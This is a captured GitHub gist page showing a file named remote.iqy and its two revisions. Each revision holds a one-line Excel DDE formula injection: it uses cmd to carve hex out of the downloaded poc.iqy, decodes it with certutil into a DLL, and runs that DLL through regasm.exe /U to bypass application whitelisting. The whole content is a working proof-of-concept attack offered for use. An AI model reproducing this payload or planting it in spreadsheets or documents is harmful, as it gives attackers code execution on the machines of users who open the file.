Skip to content

Instantly share code, notes, and snippets.

@Mr-Un1k0d3r

Mr-Un1k0d3r/remote.iqy

Last active September 7, 2024 05:12
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Mr-Un1k0d3r/abdcf16ebcef5842c7f79ee6686271e7 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Mr-Un1k0d3r/abdcf16ebcef5842c7f79ee6686271e7 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. Mr-Un1k0d3r revised this gist Sep 21, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion remote.iqy
    View file
    Original file line number Diff line number Diff line change
    @@ -1 +1 @@
    =cmd|' /c more +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'
    =cmd|' /c more /E +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'
  2. Mr-Un1k0d3r created this gist Aug 1, 2018.
    1 change: 1 addition & 0 deletions remote.iqy
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    =cmd|' /c more +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'